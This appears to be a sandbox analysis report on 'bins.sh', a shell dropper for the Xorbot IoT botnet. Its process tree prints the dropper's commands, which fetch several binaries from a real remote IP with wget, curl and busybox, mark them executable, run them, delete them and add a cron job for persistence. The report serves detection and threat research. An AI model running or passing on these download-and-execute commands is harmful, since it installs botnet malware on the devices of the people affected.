Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/01/2025, 03:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250125-dp6htatrep
  • SHA256 25e374c7282cf553d6688a3488d7ccb1369675b8d850c5bd54e23f772033e4fe
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2155) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:707
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:711
      • /usr/bin/wget
        wget http://66.63.187.225/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Writes file to tmp directory
        PID:717
      • /usr/bin/curl
        curl -O http://66.63.187.225/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:734
      • /bin/busybox
        /bin/busybox wget http://66.63.187.225/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Writes file to tmp directory
        PID:738
      • /bin/chmod
        chmod 777 Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        ./Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:740
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:742
            • /usr/bin/crontab
              crontab -l
              4⤵
              • Reads runtime system information
              PID:743
          • /bin/sh
            sh -c "crontab -"
            3⤵
              PID:744
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                PID:745
          • /bin/rm
            rm Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://66.63.187.225/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
              2⤵
                PID:750
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                2⤵
                  PID:751
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                  2⤵
                  • Writes file to tmp directory
                  PID:832
                • /bin/chmod
                  chmod 777 UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                  2⤵
                  • File and Directory Permissions Modification
                  PID:846
                • /tmp/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                  ./UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                  2⤵
                    PID:847
                  • /bin/rm
                    rm UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                    2⤵
                      PID:849
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                      2⤵
                        PID:850
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                        2⤵
                          PID:851
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                          2⤵
                          • Writes file to tmp directory
                          PID:852
                        • /bin/chmod
                          chmod 777 SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                          2⤵
                          • File and Directory Permissions Modification
                          PID:853
                        • /tmp/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                          ./SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                          2⤵
                            PID:854
                          • /bin/rm
                            rm SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                            2⤵
                              PID:856
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                              2⤵
                                PID:857
                              • /usr/bin/curl
                                curl -O http://66.63.187.225/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                2⤵
                                  PID:858
                                • /bin/busybox
                                  /bin/busybox wget http://66.63.187.225/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:859
                                • /bin/chmod
                                  chmod 777 haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:868
                                • /tmp/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                  ./haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                  2⤵
                                    PID:869
                                  • /bin/rm
                                    rm haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                    2⤵
                                      PID:871
                                    • /usr/bin/wget
                                      wget http://66.63.187.225/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                      2⤵
                                        PID:872
                                      • /usr/bin/curl
                                        curl -O http://66.63.187.225/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                        2⤵
                                          PID:873
                                        • /bin/busybox
                                          /bin/busybox wget http://66.63.187.225/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:874
                                        • /bin/chmod
                                          chmod 777 cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:883
                                        • /tmp/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                          ./cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                          2⤵
                                            PID:885
                                          • /bin/rm
                                            rm cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                            2⤵
                                              PID:888
                                            • /usr/bin/wget
                                              wget http://66.63.187.225/bins/6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:889
                                            • /usr/bin/curl
                                              curl -O http://66.63.187.225/bins/6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:896
                                            • /bin/busybox
                                              /bin/busybox wget http://66.63.187.225/bins/6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              2⤵
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:898
                                            • /bin/chmod
                                              chmod 777 6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:910
                                            • /tmp/6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              ./6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:912
                                            • /bin/rm
                                              rm 6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:915
                                            • /usr/bin/wget
                                              wget http://66.63.187.225/bins/1VmeAP8LSUnFy3vumVZZ4OvKjXJLbNNoH6
                                              2⤵
                                                PID:916

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr

                                                  • Path /tmp/6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                                  • Size 122KB
                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy

                                                  • Path /tmp/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
                                                  • Size 151KB
                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx

                                                  • Path /tmp/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                                                  • Size 107KB
                                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM

                                                  • Path /tmp/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                                                  • Size 111KB
                                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv

                                                  • Path /tmp/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                                  • Size 141KB
                                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  haATEV0IOo0DVOBtRAF9by50fVocbVlXYy

                                                  • Path /tmp/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                                  • Size 98KB
                                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.b86AHX

                                                  • Path /var/spool/cron/crontabs/tmp.b86AHX
                                                  • Size 210B
                                                  • SHA256 cf5c45c1fbaf6af74f3c79dcc6e07f9541daf491f4f9567b19c3b6a363db330d
                                                  • MD5 SHA1 SHA512